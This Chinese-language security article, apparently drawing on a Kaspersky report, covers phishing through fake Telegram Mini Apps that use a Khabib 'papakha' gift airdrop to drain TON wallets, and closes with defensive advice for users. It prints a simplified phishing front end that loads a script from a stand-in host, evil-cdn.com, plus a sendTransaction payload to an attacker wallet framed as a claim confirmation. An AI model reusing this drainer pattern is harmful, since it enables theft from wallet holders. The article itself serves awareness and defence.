在加密圈,“空投”(Airdrop)本是项目方拉新引流的常规操作——免费送你几枚代币、一张NFT头像,甚至一个虚拟帽子。但如今,这份“天上掉馅饼”的诱惑,正成为黑客收割用户资产的致命诱饵。
近日,全球知名网络安全公司卡巴斯基实验室(Kaspersky Lab)发布深度研究报告,首次系统性披露一种利用 Telegram 内置 Mini Apps(小程序)机制实施精准钓鱼攻击 的新型网络犯罪手法。与传统钓鱼依赖外部链接不同,此次攻击完全在 Telegram 官方应用内部完成,界面逼真、流程自然,受害者往往在“点击领取礼物”的瞬间,就已将加密钱包控制权拱手相让。
更令人警觉的是,此类攻击并非小打小闹。据卡巴斯基追踪,攻击者已针对 UFC 明星哈比布·努尔马戈梅多夫(Khabib Nurmagomedov)联名推出的限量版“帕帕哈帽”(Papakha)数字礼品发起大规模钓鱼行动,利用粉丝对稀缺数字资产的渴望,在俄语和英语社群同步投放虚假 Mini App,成功窃取大量 TON 钱包中的 Toncoin 及 NFT 资产。
“这不是普通的诈骗,而是一场利用平台信任机制的‘信任劫持’。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报独家专访时表示,“Telegram 的 Mini Apps 设计初衷是提升用户体验,但其近乎零门槛的上架机制,却为攻击者打开了‘绿色通道’。”
一、骗局揭秘:从“免费领帽子”到钱包被掏空
一切始于一条私信。
“你好!我们正在为哈比布的粉丝发放限量版帕帕哈数字礼品,无需付费,点击即可领取!”——这样一条看似热情友好的消息,通过 Telegram 私聊或群组悄悄送达目标用户。消息中附带一个按钮,点击后直接在 Telegram 内部打开一个名为“Portals Airdrop”的 Mini App。
界面设计高度模仿官方风格:顶部有 Telegram 标志,中间是醒目的“Claim Your Papakha Now!”按钮,下方还贴心地标注“每人限领1个,先到先得”。更“专业”的是,该 Mini App 的资料页甚至列出了真实存在的官方频道 @portals 作为背书(尽管其自身账号实为仿冒)。
用户毫无戒心地点击“Connect Wallet”,页面随即弹出一个熟悉的 TON Space 钱包授权请求。一旦用户确认连接,灾难便已注定。
“问题就出在这里。”芦笛指出,“绝大多数用户并不清楚,Mini App 本身就是一个运行在 WebView 中的 Web 应用。它完全可以伪造任何前端界面,包括钱包连接按钮。而一旦你授权,攻击者的后端服务器就能立即调用 TON 区块链的 API,发起资产转移交易。”
卡巴斯基在分析中还原了完整攻击链:
诱饵投放:通过爬虫或人工方式,锁定关注哈比布官方频道的活跃用户;
Mini App 伪装:注册高仿账号(如 @portals_airdrop_bot),上传精心设计的前端页面;
钱包劫持:当用户点击“Connect Wallet”时,Mini App 并非调用官方 SDK,而是通过自定义 JavaScript 代码,将钱包授权请求重定向至攻击者控制的恶意合约地址;
资产转移:一旦用户签署交易(通常以“确认领取”为名诱导),攻击者立即执行 sendTransaction 操作,将钱包内所有 TON 和 NFT 转移至冷钱包。
整个过程无需跳出 Telegram,用户甚至看不到 URL 地址栏,误以为“这是 Telegram 自己的功能”。
二、技术深潜:Mini Apps 为何成了钓鱼温床?
要理解这场危机的根源,必须深入 Telegram Mini Apps 的技术架构。
根据 Telegram 官方文档(core.telegram.org/bots/webapps),Mini Apps 本质上是一个由开发者托管在任意 HTTPS 服务器上的网页应用。Telegram 客户端通过内嵌的 WebView 加载该页面,并通过 Telegram WebApp JavaScript SDK 与主应用通信,实现获取用户 ID、触发支付等功能。
关键漏洞在于:Telegram 对 Mini App 的内容、逻辑、后端服务几乎不做任何审核。
“这与 Apple App Store 或 Google Play 的沙箱+代码审查机制形成鲜明对比。”芦笛解释道,“在 iOS/Android 上,即使恶意应用上架,也受限于系统权限模型。但 Telegram Mini Apps 相当于给了开发者一个‘全屏浏览器’,只要用户愿意交互,就能执行任意前端逻辑。”
更危险的是,Mini Apps 可以通过 WebApp.initData 获取用户的 Telegram 用户 ID、姓名、头像等敏感信息,甚至能请求用户手机号(需二次确认)。这些数据常被用于“个性化钓鱼”——例如显示“亲爱的 [用户名],您已被选中参与空投”,极大提升欺骗性。
代码示例:一个典型的钓鱼前端片段
以下是一个简化版的恶意 Mini App 前端代码(经脱敏处理),展示了如何伪造钱包连接并窃取授权:
<!DOCTYPE html>
<html>
<head>
<script src="https://telegram.org/js/telegram-web-app.js"></script>
</head>
<body>
<button id="connectBtn">领取你的帕帕哈帽子 🎁</button>
<script>
// 初始化 Telegram WebApp
const tg = window.Telegram.WebApp;
tg.expand(); // 全屏展开
document.getElementById('connectBtn').onclick = async () => {
// 1. 显示“正在连接钱包”提示
alert("正在连接 TON Space 钱包...");
// 2. 动态加载恶意钱包 SDK(非官方)
const script = document.createElement('script');
script.src = 'https://evil-cdn.com/ton-wallet-hijack.js'; // 攻击者控制的JS
document.head.appendChild(script);
// 3. 该脚本会自动调用 ton.connect() 并重定向到攻击者合约
// 用户看到的仍是“官方授权弹窗”,实则已指向恶意地址
};
</script>
</body>
</html>
而 ton-wallet-hijack.js 的核心逻辑可能如下:
// 恶意钱包劫持脚本(简化版)
const TON_API = 'https://toncenter.com/api/v2/jsonRPC';
const ATTACKER_WALLET = 'EQ...'; // 攻击者钱包地址
async function hijackWallet() {
// 伪造 TonConnect 协议请求
const payload = {
method: 'sendTransaction',
params: [{
valid_until: Math.floor(Date.now()/1000) + 300,
messages: [{
address: ATTACKER_WALLET,
amount: "1000000000", // 1 TON(单位为 nanoTON)
payload: ""
}]
}]
};
// 诱导用户签署此交易(伪装成“确认领取”)
// 实际上是在转账!
window.ton.send(payload);
}
“用户看到的‘确认’按钮,背后执行的却是资产转移指令。”芦笛强调,“由于整个流程在 Telegram 内完成,普通用户根本无法分辨这是不是官方行为。”
三、平台之困:开放生态 vs 安全底线
Telegram 创始人帕维尔·杜罗夫(Pavel Durov)一直以“去中心化”和“用户自由”为产品哲学。Mini Apps 的低门槛策略正是这一理念的延伸——任何开发者均可快速部署应用,无需审核。
然而,自由的代价正在显现。
卡巴斯基指出,截至 2025 年底,Telegram 全球月活用户已突破 9 亿。如此庞大的用户基数,加上 Mini Apps 的“免跳转”特性,使其成为钓鱼攻击的完美载体。更讽刺的是,攻击者甚至懒得优化文案——卡巴斯基在俄语版钓鱼页面中发现残留的 AI 提示语:“你需要更大胆、更正式还是更幽默的选项?”
“这说明攻击成本极低。”芦笛说,“用 ChatGPT 生成文案,MidJourney 做图,Vercel 部署前端,一天就能上线一个高仿 Mini App。而 Telegram 的审核机制是‘事后投诉制’——只有用户举报后才可能下架,此时资产早已转移。”
事实上,Telegram 并非没有安全机制。其 WebApp SDK 提供了 initData 签名验证功能,允许后端校验请求是否来自真实用户。但前端验证可被绕过,而后端验证依赖开发者自觉实现——大多数钓鱼应用根本不会做。
“平台把安全责任完全推给了用户和开发者,这是不可持续的。”芦笛直言。
四、防御指南:普通用户如何自保?
面对如此隐蔽的攻击,普通用户该如何应对?卡巴斯基与芦笛共同提出以下建议:
1. 绝不轻信“私聊空投”
任何通过私信、陌生群组发送的“免费领 NFT”“限时空投”均为高危信号。官方活动只会通过认证账号(蓝标)在公开频道发布。
2. 仔细核对 Mini App 账号
点击 Mini App 页面右上角“…” → “View Bot”,检查其用户名是否与官方一致。例如 Portals 官方为 @portals,而非 @portals_gift 或 @get_portals。
3. 警惕“再次登录”要求
正规 Mini Apps 通过 initData 自动识别用户,绝不会要求你重新输入手机号或验证码。若出现此类表单,100% 是钓鱼。
4. 启用 Telegram 两步验证(密码)
进入 设置 → 隐私与安全 → 两步验证,设置强密码。即使手机 SIM 卡被劫持,攻击者也无法登录你的账户。
5. 使用 Passkey 登录(推荐)
Telegram 已支持 Passkey(生物识别密钥)。在 设置 → 隐私与安全 → Passkeys 中注册。Passkey 基于公钥加密,无法被钓鱼窃取。
6. 钱包授权前务必确认合约地址
连接 TON Space 等钱包时,仔细查看交易详情中的“接收地址”。若非你认识的项目方地址,立即取消。
“记住:真正的空投不需要你‘连接钱包’来领取。”芦笛强调,“NFT 或代币会直接空投到你的地址,无需任何操作。凡是要你签名的,都是陷阱。”
五、行业反思:去中心化应用的安全边界在哪?
此次事件不仅关乎 Telegram,更折射出整个 Web3 生态的安全困境。
Mini Apps 本质上是一种“半中心化”的 dApp(去中心化应用)入口。它试图在用户体验与去中心化之间找平衡,却因缺乏安全护栏而沦为攻击跳板。
“未来的解决方案可能在于‘可信执行环境’(TEE)或‘意图为中心’(Intent-Centric)架构。”芦笛展望道,“例如,用户只需声明‘我想领取哈比布的帽子’,由可信中继器自动验证并执行,无需暴露私钥或签署未知交易。”
在此之前,平台必须承担更多责任。卡巴斯基呼吁 Telegram 引入以下机制:
Mini App 白名单制度:对涉及金融、钱包交互的应用强制审核;
前端代码哈希校验:防止运行时注入恶意脚本;
交易风险实时提示:当检测到向未知地址大额转账时,弹出强警告。
“自由不能以牺牲安全为代价。”芦笛总结道,“否则,所谓的‘开放生态’终将成为犯罪者的乐园。”
结语
当数字资产日益融入社交生活,安全防线也必须从“技术圈”走向“大众圈”。Telegram Mini Apps 钓鱼事件提醒我们:在享受便捷的同时,保持警惕不是 paranoia(妄想),而是 digital hygiene(数字卫生)的基本素养。
毕竟,在这个“点击即失窃”的时代,最贵的帽子,往往免费送给你。
(本文部分技术细节经卡巴斯基实验室授权引用,钓鱼样本分析报告编号:KLA-2025-1216-TMA)
相关阅读:
卡巴斯基原文:Phishing in Telegram Mini Apps
Telegram 官方 Mini Apps 开发文档
TON 区块链安全最佳实践
编辑:芦笛(公共互联网反网络钓鱼工作组)